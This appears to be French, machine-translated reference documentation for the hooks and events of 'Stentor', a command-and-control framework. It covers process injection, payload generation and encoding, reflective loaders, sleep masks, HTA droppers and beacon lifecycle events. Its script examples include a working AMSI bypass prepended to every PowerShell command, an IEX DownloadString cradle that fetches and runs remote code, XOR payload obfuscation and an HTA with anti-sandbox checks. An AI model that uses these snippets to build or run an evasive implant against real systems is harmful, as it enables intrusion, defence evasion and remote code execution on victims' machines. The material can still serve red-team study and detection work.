Crochets et événements¶
Le moteur de script CNA de Stentor fournit deux mécanismes d'extensibilité pour personnaliser le comportement de C2 : des hooks pour remplacer les valeurs par défaut et des événements pour une automatisation réactive.
Aperçu¶
Crochets¶
Les hooks vous permettent de remplacer le comportement par défaut dans le pipeline C2. Lorsque le serveur atteint un point de décision (par exemple, comment injecter dans un processus, comment générer un artefact), il vérifie si un hook CNA est enregistré. Si tel est le cas, la valeur de retour du hook remplace la valeur par défaut. Si le hook renvoie $null, le comportement par défaut est utilisé.
Les hooks sont enregistrés avec le mot-clé set. Un seul gestionnaire par nom de hook -- le dernier rédacteur gagne (si plusieurs scripts définissent le même hook, le gestionnaire du script chargé le plus récemment prend effet).
set HOOK_NAME {
# $1, $2, ... are the hook arguments
# Return a value to override default behavior
# Return $null to use default behavior
return $custom_value;
}
Événements¶
Les événements vous permettent de réagir à l'activité du cycle de vie C2. Lorsque quelque chose se produit (enregistrement du beacon, connexion de l'opérateur, informations d'identification récupérées), EventBus distribue l'événement à tous les gestionnaires enregistrés. Plusieurs gestionnaires par événement -- tous les gestionnaires enregistrés se déclenchent (contrairement aux hooks).
Les événements sont enregistrés avec le mot-clé on :
on event_name {
# $1, $2, ... are the event arguments
# No return value expected
println("Event fired: $1");
}
Gestionnaires de caractères génériques
Enregistrez un gestionnaire pour * afin de recevoir tous les événements envoyés par EventBus. Ceci est utile pour la journalisation d'audit ou le débogage :
Délai d'expiration du gestionnaire
Les gestionnaires d'événements s'exécutent avec un délai d'expiration de 30 secondes. Les gestionnaires de longue durée seront supprimés. Gardez les gestionnaires rapides et utilisez bsleep pour les opérations de beacon retardées.
Référence des crochets¶
Stentor implémente 29 hooks dans 9 catégories. Chaque hook documente sa signature CNA, ses arguments, sa convention de retour et un exemple d'utilisation.
Crochets d'injection¶
Ces hooks remplacent la manière dont Stentor injecte le code dans les processus. Le pipeline d'injection recherche un hook avant d'utiliser la technique par défaut. Il existe quatre variantes couvrant l'injection fork-and-run et l'injection explicite, dans le contexte SYSTÈME et utilisateur.
PROCESS_INJECT_SPAWN¶
Remplacer l'injection fork-and-run (utilisée par shspawn, execute-assembly, powerpick et d'autres commandes qui engendrent un processus sacrificiel).
set PROCESS_INJECT_SPAWN {
# $1 = beacon ID (string)
# $2 = DLL/shellcode bytes (string)
# $3 = ignore current token ("true"/"false")
# $4 = architecture ("x86"/"x64")
# $5 = argument buffer (string)
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | DLL ou octets de shellcode à injecter |
$3 | chaîne | "true" pour ignorer le jeton volé, "false" pour l'utiliser |
$4 | chaîne | Architecture cible : "x86" ou "x64" |
$5 | chaîne | Tampon d’argument passé au code injecté |
Retour : Toute valeur non nulle indique l'injection gérée par le hook. Renvoyez $null pour le comportement par défaut.
set PROCESS_INJECT_SPAWN {
local('$bid $dll $arch');
$bid = $1;
$dll = $2;
$arch = $4;
# Use custom injection: QueueUserAPC into a suspended process
btask($bid, "Using custom APC injection");
bdllspawn($bid, $dll, $arch, "rundll32.exe", 1);
return "handled";
}
Protection contre la réentrée
L'invocateur de hook empêche une récursion infinie. Si votre hook appelle une fonction b* qui déclencherait à nouveau PROCESS_INJECT_SPAWN, l'appel réentrant utilise le comportement par défaut au lieu d'appeler le hook de manière récursive.
PROCESS_INJECT_EXPLICIT¶
Remplacez l'injection explicite dans un processus existant (utilisé par shinject, dllinject et les commandes d'injection ciblées).
set PROCESS_INJECT_EXPLICIT {
# $1 = beacon ID, $2 = DLL bytes, $3 = target PID,
# $4 = offset, $5 = architecture, $6 = argument buffer
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | DLL ou octets de shellcode à injecter |
$3 | chaîne | ID du processus cible (sous forme de chaîne) |
$4 | chaîne | Décalage dans la DLL (sous forme de chaîne) |
$5 | chaîne | Architecture cible : "x86" ou "x64" |
$6 | chaîne | Tampon d’argument passé au code injecté |
Retour : Toute valeur non nulle indique l'injection gérée par le hook. Renvoyez $null pour le comportement par défaut.
set PROCESS_INJECT_EXPLICIT {
local('$bid $pid $dll $arch');
$bid = $1;
$dll = $2;
$pid = $3;
$arch = $5;
btask($bid, "Injecting into PID $pid via NtMapViewOfSection");
# Custom injection technique here
return "handled";
}
PROCESS_INJECT_SPAWN_USER¶
Remplacez l'injection fork-and-run lors de l'exécution dans un contexte d'utilisateur volé (après steal_token). Mêmes arguments que PROCESS_INJECT_SPAWN.
set PROCESS_INJECT_SPAWN_USER {
# $1 = bid, $2 = dll_bytes, $3 = ignore_token, $4 = arch, $5 = arg_buffer
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | DLL ou octets de shellcode |
$3 | chaîne | "true" pour ignorer le jeton actuel |
$4 | chaîne | Architecture : "x86" ou "x64" |
$5 | chaîne | Tampon d'arguments |
Retour : Toute valeur non nulle indique l'injection gérée par le hook. Renvoyez $null pour le comportement par défaut.
PROCESS_INJECT_EXPLICIT_USER¶
Remplacez l'injection explicite dans un processus existant lors de l'exécution dans un contexte d'utilisateur volé. Mêmes arguments que PROCESS_INJECT_EXPLICIT.
set PROCESS_INJECT_EXPLICIT_USER {
# $1 = bid, $2 = dll_bytes, $3 = pid, $4 = offset, $5 = arch, $6 = arg_buffer
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | DLL ou octets de shellcode |
$3 | chaîne | ID de processus cible |
$4 | chaîne | Décalage dans la DLL |
$5 | chaîne | Architecture : "x86" ou "x64" |
$6 | chaîne | Tampon d'arguments |
Retour : Toute valeur non nulle indique l'injection gérée par le hook. Renvoyez $null pour le comportement par défaut.
Hooks de génération de payload¶
Ces hooks interceptent le pipeline de génération de payload, vous permettant de personnaliser la sortie des artefacts, de modifier le shellcode brut, de remplacer les chargeurs réfléchissants ou de modifier les routines de compression.
EXECUTABLE_ARTIFACT_GENERATOR¶
Remplacez la génération d’artefacts EXE/DLL. Il s'agit du hook Artifact Kit : utilisez-le pour remplacer le modèle d'exécutable par défaut par un modèle personnalisé (par exemple, binaire signé, exécutable compressé ou chargeur personnalisé).
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom du fichier d'artefact (par exemple, "artifact64.exe", "artifact32.dll") |
$2 | chaîne | Octets de shellcode bruts à intégrer |
Retour : Octets binaires personnalisés sous forme de chaîne. Renvoie $null pour la génération d'artefacts par défaut.
set EXECUTABLE_ARTIFACT_GENERATOR {
local('$artifact $shellcode $handle $data');
$artifact = $1;
$shellcode = $2;
# Load custom template from disk
$handle = openf("/opt/custom-artifacts/ $+ $artifact");
$data = readb($handle, -1);
closef($handle);
# Patch shellcode into template at marker offset
# (implementation depends on your template format)
return $data;
}
Kit d'artefacts
L'Artifact Kit est un framework de code source permettant de créer des exécutables personnalisés. Le hook EXECUTABLE_ARTIFACT_GENERATOR vous permet d'intégrer un kit d'artefacts personnalisé dans votre flux de travail CNA. Consultez la documentation Evasion Kits pour la personnalisation des artefacts au moment de la construction.
RESOURCE_GENERATEUR¶
Remplacez la génération de script de ressources. Il s'agit du hook Resource Kit pour les payloads basées sur des scripts (scripts de ressources PowerShell, Python, HTA).
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Octets de shellcode bruts |
Retour : Script de ressource personnalisé sous forme de chaîne. Renvoie $null pour la génération de ressources par défaut.
set RESOURCE_GENERATOR {
local('$shellcode $encoded');
$shellcode = $1;
# Custom encoding/obfuscation of the shellcode
$encoded = transform($shellcode, "xor");
return build_custom_loader($encoded);
}
RESOURCE_GENERATOR_VBS¶
Remplacez la génération d’artefacts de ressources VBS (Visual Basic Script).
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Données exécutables (octets bruts) |
$2 | chaîne | Nom du fichier exécutable |
Retour : Script VBS personnalisé sous forme de chaîne. Renvoyez $null pour la génération VBS par défaut.
PAYLOAD_GENERATE¶
Modifiez les octets du payload brut pendant la génération. Ce hook se déclenche après l'assemblage du payload mais avant la livraison, vous permettant d'ajouter un encodage, un chiffrement ou un filigrane personnalisé.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom du listener auquel cette payload se connecte |
$2 | chaîne | Octets du payload brut |
$3 | chaîne | Architecture : "x86" ou "x64" |
Retour : Octets du payload modifiés sous forme de chaîne. Renvoyez $null pour utiliser le payload non modifié.
set PAYLOAD_GENERATE {
local('$listener $payload $arch');
$listener = $1;
$payload = $2;
$arch = $3;
# XOR-encode the payload with a random key
$key = rand(0xFF);
return xor_encode($payload, $key);
}
PAYLOAD_COMPRESS¶
Remplacez la compression de le payload. Par défaut, les payloads peuvent être compressées avant l'intégration. Ce hook vous permet de remplacer l'algorithme de compression.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Octets de payload brute à compresser |
Retour : Octets de payload compressés. Renvoyez $null pour la compression par défaut.
BEACON_RDLL_GENERATE¶
Remplacez le chargeur réfléchissant par défaut par un chargeur réfléchissant défini par l'utilisateur (UDRL). Ce hook se déclenche lors de la génération de le payload DLL et vous permet de fournir une implémentation de chargeur réfléchissante entièrement personnalisée.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom du fichier DLL |
$2 | chaîne | Octets bruts de DLL |
$3 | chaîne | Architecture : "x86" ou "x64" |
$4 | hachage | Hachage d'options avec des clés comme "listener", "profile", etc. |
Retour : Octets de DLL du chargeur personnalisé. Renvoyez $null pour le chargeur réfléchissant par défaut.
set BEACON_RDLL_GENERATE {
local('$filename $dll $arch $options');
$filename = $1;
$dll = $2;
$arch = $3;
$options = $4;
# Load custom UDRL from disk
$handle = openf("/opt/udrl/loader_ $+ $arch $+ .dll");
$loader = readb($handle, -1);
closef($handle);
# Patch beacon DLL into custom loader
return patch_loader($loader, $dll);
}
Complexité UDRL
Les chargeurs réfléchissants personnalisés sont une fonctionnalité avancée. Le chargeur doit analyser correctement les en-têtes PE, résoudre les importations, appliquer les relocalisations et exécuter les rappels TLS. Testez minutieusement avant le déploiement.
BEACON_RDLL_GENERATE_LOCAL¶
Remplacez le chargeur réfléchissant pour injection locale (en cours, via dllinject/shinject). Cette variante reçoit des arguments supplémentaires pour le contexte du beacon parent.
set BEACON_RDLL_GENERATE_LOCAL {
# $1 = filename, $2 = DLL bytes, $3 = arch, $4 = parent beacon ID,
# $5 = GetModuleHandleA pointer, $6 = GetProcAddress pointer, $7 = options hash
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom du fichier DLL |
$2 | chaîne | Octets bruts de DLL |
$3 | chaîne | Architecture : "x86" ou "x64" |
$4 | chaîne | ID du beacon parent (le beacon effectuant l'injection) |
$5 | chaîne | Pointeur de fonction GetModuleHandleA (sous forme de chaîne) |
$6 | chaîne | Pointeur de fonction GetProcAddress (sous forme de chaîne) |
$7 | hachage | Hachage des options |
Retour : Octets de DLL du chargeur personnalisé. Renvoyez $null pour le chargeur réfléchissant par défaut.
Crochets PowerShell¶
Ces hooks personnalisent la construction des commandes PowerShell, les supports de téléchargement et la compression des scripts.
POWERSHELL_COMMAND¶
Modifiez la construction de la commande PowerShell avant son exécution. Utilisez ceci pour modifier la façon dont les commandes PowerShell sont encapsulées (par exemple, ajoutez -ExecutionPolicy Bypass, encodage personnalisé, pré-ajouts de contournement AMSI).
set POWERSHELL_COMMAND {
# $1 = PowerShell command string, $2 = is remote execution ("true"/"false")
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | La commande PowerShell à exécuter |
$2 | chaîne | "true" s'il s'agit d'un contexte d'exécution à distance |
Retour : Chaîne de commande modifiée. Renvoyez $null pour le comportement par défaut.
set POWERSHELL_COMMAND {
local('$cmd $remote');
$cmd = $1;
$remote = $2;
# Prepend AMSI bypass to every PowerShell command
$bypass = "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue(\$null,\$true);";
return $bypass . $cmd;
}
POWERSHELL_DOWNLOAD_CRADLE¶
Remplacez le cradle de téléchargement PowerShell utilisé pour les payloads stagés.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | URL à partir de laquelle le berceau de téléchargement doit récupérer |
Retour : Terminez le script de support de téléchargement PowerShell. Renvoyez $null pour le berceau par défaut.
set POWERSHELL_DOWNLOAD_CRADLE {
local('$url');
$url = $1;
# Custom cradle using .NET WebClient with proxy support
return "IEX([System.Net.WebClient]::new().DownloadString(' $+ $url $+ '))";
}
POWERSHELL_COMPRESS¶
Remplacez la compression du script PowerShell. Appliqué aux payloads PowerShell avant la livraison.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Chaîne de commande PowerShell |
Retour : Commande PowerShell compressée/codée. Renvoyez $null pour la compression par défaut.
Crochets HTA¶
Ces hooks personnalisent la génération de payload d’application HTML (HTA).
HTMLAPP_EXE¶
Remplacez la génération HTA pour les payloads basées sur EXE.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Données exécutables (octets bruts) |
$2 | chaîne | Nom du fichier exécutable |
Retour : Modèle HTA personnalisé sous forme de chaîne. Renvoyez $null pour le HTA par défaut.
set HTMLAPP_EXE {
local('$exe $name');
$exe = $1;
$name = $2;
# Build custom HTA that drops and executes the EXE
return "<html><head><script language=\"VBScript\">
' Custom HTA with anti-sandbox checks
If Not IsEmpty(GetObject(\"winmgmts:root\\cimv2\").ExecQuery(\"SELECT * FROM Win32_ComputerSystem\").ItemIndex(0).Model) Then
' Proceed with execution
End If
</script></head></html>";
}
HTMLAPP_POWERSHELL¶
Remplacez la génération HTA pour les payloads basées sur PowerShell.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Commande PowerShell à exécuter |
Retour : Modèle HTA personnalisé. Renvoyez $null pour le HTA par défaut.
Crochets pour masque de sommeil¶
Ces crochets personnalisent le kit de masque de sommeil – le code qui crypte la mémoire du beacon pendant les intervalles de sommeil.
BEACON_SLEEP_MASK¶
Fournissez une implémentation de masque de sommeil personnalisée. Ce hook se déclenche pendant la génération de le payload et renvoie le code source de la routine du masque de sommeil.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Type de beacon : "default" ou "pivot" |
$2 | chaîne | Architecture : "x86" ou "x64" |
$3 | hachage | Hachage d'options avec des clés telles que "listener", "profile" |
Retour : Code source du masque de sommeil personnalisé (octets). Renvoyez $null pour le masque de sommeil par défaut ou téléchargé dans le kit.
set BEACON_SLEEP_MASK {
local('$type $arch $options $handle $source');
$type = $1;
$arch = $2;
$options = $3;
# Load custom sleep mask source for the target arch
$handle = openf("/opt/sleepmask/mask_ $+ $arch $+ .go");
$source = readb($handle, -1);
closef($handle);
return $source;
}
SLEEP_MASK_KIT_BUILD¶
Modifiez les indicateurs de build pour la compilation du masque de sommeil. Ce hook se déclenche avant que la demande de payload soit envoyée au relais, vous permettant d'ajouter des indicateurs de compilateur personnalisés.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Chemin d'accès au fichier source du masque de sommeil (informatif, en lecture seule) |
$2 | chaîne | Architecture cible : "x86" ou "x64" |
$3 | chaîne | Chaîne d'indicateurs de build actuelle |
Retour : Chaîne d'indicateurs de build modifiée. Renvoyez $null pour les indicateurs par défaut.
set SLEEP_MASK_KIT_BUILD {
local('$source $arch $flags');
$source = $1;
$arch = $2;
$flags = $3;
# Add custom build tag for timer-queue sleep
return $flags . " -tags timer_queue_sleep";
}
Crochets de cycle de vie des beacons¶
Ces hooks interceptent le traitement des commandes de beacon et le premier comportement d’enregistrement.
BEACON_INITIAL_EMPTY¶
Gérez le premier enregistrement d’une nouvelle beacon lorsqu’aucune tâche n’est en attente. Utilisez-le pour mettre automatiquement en file d'attente les tâches initiales pour chaque nouvelle beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon du beacon nouvellement connectée |
Retour : Toute valeur non nulle indique que le hook a géré l'enregistrement. Renvoyez $null pour le comportement par défaut.
set BEACON_INITIAL_EMPTY {
local('$bid');
$bid = $1;
# Auto-task every new beacon
bsleep($bid, 10, 20); # Set 10s sleep, 20% jitter
bps($bid); # List processes
bipconfig($bid); # Network config
return "handled";
}
BEACON_COMMAND_PREPPROCESS¶
Modifiez une commande de beacon avant son exécution. Permet l'interception, l'alias, la journalisation ou la transformation de commandes.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Chaîne de commande sur le point d'être exécutée |
Retour : Chaîne de commande modifiée. Renvoyez $null pour utiliser la commande d'origine.
set BEACON_COMMAND_PREPROCESS {
local('$bid $cmd');
$bid = $1;
$cmd = $2;
# Log every command for audit
elog("[AUDIT] Beacon $bid : $cmd");
# Block dangerous commands in production
if ("rm -rf" isin $cmd) {
berror($bid, "Blocked: destructive command");
return ""; # Return empty to suppress
}
return $null; # Use original command
}
BEACON_COMMAND_POSTPROCESS¶
Traitez une commande de beacon une fois terminée. Permet la transformation de sortie, les alertes ou la logique de post-traitement.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Commande exécutée |
$3 | chaîne | Sortie de commande |
Retour : Toute valeur non nulle indique que le hook a géré la sortie. Renvoyez $null pour le comportement par défaut.
Crochets d'écoute¶
Ces hooks interceptent les événements du cycle de vie de l’listener et réessayent.
LISTENER_START¶
Réagissez lorsqu'un listener démarre avec succès.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom du listener (par exemple, "HTTPS Relay") |
$2 | chaîne | Type d'écoute (par exemple, "https", "dns", "smb") |
Retour : Toute valeur non nulle indique que le hook a géré l'événement. Renvoyez $null pour le comportement par défaut.
LISTENER_STOP¶
Réagissez lorsqu’un listener s’arrête.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom du listener |
$2 | chaîne | Type d'listener |
Retour : Toute valeur non nulle indique que le hook a géré l'événement. Renvoyez $null pour le comportement par défaut.
LISTENER_MAX_RETRY_STRATEGIES¶
Définissez des stratégies de nouvelle tentative personnalisées pour le comportement de sortie en cas d'échec du beacon. Contrairement à d'autres hooks, cela ne prend aucun argument et renvoie une liste de chaînes de stratégie séparées par des sauts de ligne.
Retour : Chaînes de stratégie séparées par une nouvelle ligne (par exemple, "exit-50-25-5m\nexit-75-50-15m"). Renvoyez $null pour les stratégies par défaut.
Crochets SSH¶
SSH_COMMAND_PREPPROCESS¶
Modifiez une commande SSH avant son exécution. Fonctionne de manière identique à BEACON_COMMAND_PREPROCESS mais pour les sessions SSH.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH (beacon) |
$2 | chaîne | Chaîne de commande à exécuter |
Retour : Chaîne de commande modifiée. Renvoyez $null pour utiliser la commande d'origine.
Crochets Web¶
PROFILER_HIT¶
Réagissez lorsque le profileur système reçoit une visite Web. Utilisez-le pour le suivi des visiteurs, la prise d’empreintes digitales ou la livraison conditionnelle de payloads.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Adresse IP distante |
$2 | chaîne | En-tête de l'agent utilisateur |
$3 | chaîne | URI demandé |
Retour : Toute valeur non nulle indique que le hook a géré l'événement. Renvoyez $null pour le comportement par défaut.
set PROFILER_HIT {
local('$ip $ua $uri');
$ip = $1;
$ua = $2;
$uri = $3;
# Log profiler hits
elog("[PROFILER] $ip visited $uri (UA: $ua)");
return $null;
}
WEB_HIT¶
Réagissez lorsque le serveur Web relais reçoit une requête HTTP.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Adresse IP distante |
$2 | chaîne | Méthode HTTP ("GET", "POST", etc.) |
$3 | chaîne | URI demandé |
$4 | chaîne | En-tête de l'agent utilisateur |
Retour : Toute valeur non nulle indique que le hook a géré l'événement. Renvoyez $null pour le comportement par défaut.
Autres crochets¶
PYTHON_COMPRESS¶
Remplacez la compression des scripts Python pour les payloads basées sur Python.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Chaîne de commande Python |
Retour : Commande Python compressée/codée. Renvoyez $null pour la compression par défaut.
BEACON_RDLL_SIZE¶
Spécifiez une taille RDLL (Reflective DLL) personnalisée pour la génération de payload. Utilisez-le lorsque votre chargeur réfléchissant personnalisé nécessite plus d'espace que l'allocation par défaut.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Architecture : "x86" ou "x64" |
$2 | chaîne | "true" si vous générez un payload sans étape |
Retour : Taille entière sous forme de chaîne (par exemple, "512000"). Renvoyez $null pour la taille par défaut.
set BEACON_RDLL_SIZE {
local('$arch $stageless');
$arch = $1;
$stageless = $2;
if ($arch eq "x64") {
return "512000"; # 500KB for x64 UDRL
}
return "256000"; # 250KB for x86
}
PSEXEC_SERVICE¶
Définissez un nom de service PsExec personnalisé. Contrairement à d'autres hooks, il s'agit d'une simple valeur de chaîne (pas d'une fermeture).
| Paramètre | Type | Description |
|---|---|---|
| Valeur | chaîne | Nom du service personnalisé pour le mouvement latéral PsExec |
Retour : N/A -- la valeur est lue directement lorsque PsExec est invoqué.
Hook de type string
PSEXEC_SERVICE est unique parmi les hooks : il stocke une valeur de chaîne plutôt qu'une fermeture. Utilisez set PSEXEC_SERVICE "name"; -- pas set PSEXEC_SERVICE { return "name"; }.
POSTEX_RDLL_GENERATE¶
Remplacez le chargeur réfléchissant post-exploitation par défaut. Ce hook s'applique aux DLL post-ex (mimikatz, capture d'écran, modules keylogger) plutôt qu'au beacon lui-même.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Beacon ID demandant le module post-ex |
$2 | chaîne | Octets bruts de DLL |
$3 | chaîne | Architecture : "x86" ou "x64" |
Retour : Octets DLL post-ex personnalisés. Renvoyez $null pour le chargeur par défaut.
Tableau récapitulatif des crochets¶
Référence rapide pour les 29 crochets :
| Crochet | Catégorie | Arguments | Retours |
|---|---|---|---|
PROCESS_INJECT_SPAWN | Injection | bid, dll, ignore_token, arch, args | bool |
PROCESS_INJECT_EXPLICIT | Injection | bid, dll, pid, offset, arch, args | bool |
PROCESS_INJECT_SPAWN_USER | Injection | bid, dll, ignore_token, arch, args | bool |
PROCESS_INJECT_EXPLICIT_USER | Injection | bid, dll, pid, offset, arch, args | bool |
EXECUTABLE_ARTIFACT_GENERATOR | Génération de payload | fichier_artefact, shellcode | octets |
RESOURCE_GENERATOR | Génération de payload | shellcode | chaîne |
RESOURCE_GENERATOR_VBS | Génération de payload | données_exe, nom_exe | chaîne |
PAYLOAD_GENERATE | Génération de payload | listener, payload, arch | octets |
PAYLOAD_COMPRESS | Génération de payload | payload_bytes | octets |
BEACON_RDLL_GENERATE | Génération de payload | nom de fichier, dll, arch, options | octets |
BEACON_RDLL_GENERATE_LOCAL | Génération de payload | filename, dll, arch, bid, gmha, gpa, options | octets |
POWERSHELL_COMMAND | PowerShell | commande, is_remote | chaîne |
POWERSHELL_DOWNLOAD_CRADLE | PowerShell | URL | chaîne |
POWERSHELL_COMPRESS | PowerShell | ps_commande | chaîne |
HTMLAPP_EXE | ETS | données_exe, nom_exe | chaîne |
HTMLAPP_POWERSHELL | ETS | ps_commande | chaîne |
BEACON_SLEEP_MASK | Masque de sommeil | beacon_type, arch, options | octets |
SLEEP_MASK_KIT_BUILD | Masque de sommeil | chemin_source, arch, drapeaux | chaîne |
BEACON_INITIAL_EMPTY | Cycle de vie | bid | bool |
BEACON_COMMAND_PREPROCESS | Cycle de vie | bid, commande | chaîne |
BEACON_COMMAND_POSTPROCESS | Cycle de vie | bid, commande, sortie | bool |
LISTENER_START | Listener | nom, type | bool |
LISTENER_STOP | Listener | nom, type | bool |
LISTENER_MAX_RETRY_STRATEGIES | Listener | (aucun) | chaîne |
SSH_COMMAND_PREPROCESS | SSH | bid, commande | chaîne |
PROFILER_HIT | Internet | ip, ua, uri | bool |
WEB_HIT | Internet | ip, méthode, uri, ua | bool |
PYTHON_COMPRESS | Autre | py_commande | chaîne |
BEACON_RDLL_SIZE | Autre | arch, is_stageless | int |
PSEXEC_SERVICE | Autre | (valeur de chaîne) | chaîne |
POSTEX_RDLL_GENERATE | Autre | bid, dll, arch | octets |
Référence des événements¶
Stentor répartit plus de 57 événements dans 15 catégories. Tous les événements sont non bloquants : chaque gestionnaire s'exécute dans sa propre goroutine avec récupération de panique.
Événements du cycle de vie des beacons¶
Ces événements se déclenchent pendant le cycle de vie de la connexion du beacon : enregistrement initial, enregistrements ultérieurs, changements de mode et sortie.
beacon_initial¶
Se déclenche lorsqu'une nouvelle beacon s'enregistre pour la première fois.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
Source : c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()
beacon_initial_empty¶
Se déclenche lorsqu'une nouvelle beacon s'enregistre et n'a aucune tâche en attente. Ceci est distinct de beacon_initial et se déclenche en plus.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
Source : c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()
beacon_checkin¶
Se déclenche lors des enregistrements ultérieurs (pas le premier). Utilisez-le pour surveiller la santé et la connectivité du beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Horodatage de l'enregistrement |
Source : c2/encrypted_handler.go Checkin(), c2/handler.go Checkin()
beacon_sortie¶
Se déclenche lorsqu'un beacon est supprimée (nettoyage obsolète ou suppression manuelle).
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
Source : c2/handler.go WireBeaconExitEvent() via le rappel BeaconRegistry
mode_balise¶
Se déclenche lorsqu'un beacon change de mode de transport (par exemple, en passant d'un mode DNS à l'autre).
on beacon_mode {
# $1 = beacon ID, $2 = new mode, $3 = timestamp
elog("Beacon $1 switched to $2 mode");
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Nouveau mode de transport (par exemple, "dns", "dns6", "dns-txt") |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=transport_mode]
Tâche de beacon/événements de sortie¶
Ces événements se déclenchent lorsque les commandes sont mises en file d'attente, que les entrées sont reçues et que les sorties arrivent des beacons.
beacon_tâche¶
Se déclenche lorsqu'une commande est mise en file d'attente pour un beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Chaîne de commande en file d'attente |
$3 | chaîne | Horodatage |
Source : handler/cockpit_shell.go enqueueAndRespond()
beacon_entrée¶
Se déclenche lorsqu'un opérateur ou script met en file d'attente l'entrée d'un beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Opérateur qui a envoyé la commande (ou "aggressor" pour les scripts CNA) |
$3 | chaîne | Chaîne de commande |
$4 | chaîne | Horodatage |
Source : handler/cockpit_shell.go enqueueAndRespond(), aggressor/beacon_api.go
beacon_sortie¶
Se déclenche lorsqu'un beacon renvoie une sortie de tâche réussie.
on beacon_output {
# $1 = beacon ID, $2 = output text, $3 = timestamp
println("[output] $1 : $2");
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Texte de sortie |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult(), c2/handler.go SubmitResult()
beacon_output_alt¶
Se déclenche pour une sortie structurée/au format alternatif (par exemple, une sortie ls, ps, jobs qui a un format spécial).
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Données de sortie structurées |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [OutputType == "alt"]
beacon_erreur¶
Se déclenche lorsqu'un beacon renvoie une erreur de tâche.
on beacon_error {
# $1 = beacon ID, $2 = error message, $3 = timestamp
elog("[ERROR] Beacon $1 : $2");
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Message d'erreur |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult(), c2/handler.go SubmitResult()
Événements de sortie spécialisés Beacon¶
Ces événements se déclenchent pour des types de sortie spécifiques, offrant une gestion des événements plus granulaire que le beacon_output_alt générique.
beacon_output_jobs¶
Se déclenche lorsque la sortie liste d'emploi arrive d'un beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Sortie de la liste d'emplois |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=jobs]
beacon_output_ls¶
Se déclenche lorsque la sortie liste de répertoires arrive d'un beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Sortie de liste d'annuaire |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=ls]
beacon_output_ps¶
Se déclenche lorsque la sortie de la liste des processus arrive d'un beacon.
on beacon_output_ps {
# $1 = beacon ID, $2 = process listing, $3 = timestamp
# Parse and filter for interesting processes
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Sortie de la liste des processus |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=ps]
Événements d’indicateur de beacon¶
beacon_indicateur¶
Se déclenche lorsqu'un indicateur de compromission (IoC) est enregistré pour un beacon, telle qu'une injection de processus ou une écriture de fichier.
on beacon_indicator {
# $1 = beacon ID, $2 = indicator type, $3 = indicator value
elog("[IOC] $2 : $3 (beacon $1)");
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Type d'indicateur (par exemple, "process", "file") |
$3 | chaîne | Valeur de l'indicateur (PID, chemin du fichier, etc.) |
Source : c2/encrypted_handler.go DispatchBeaconIndicator()
Télécharger les événements¶
download_start¶
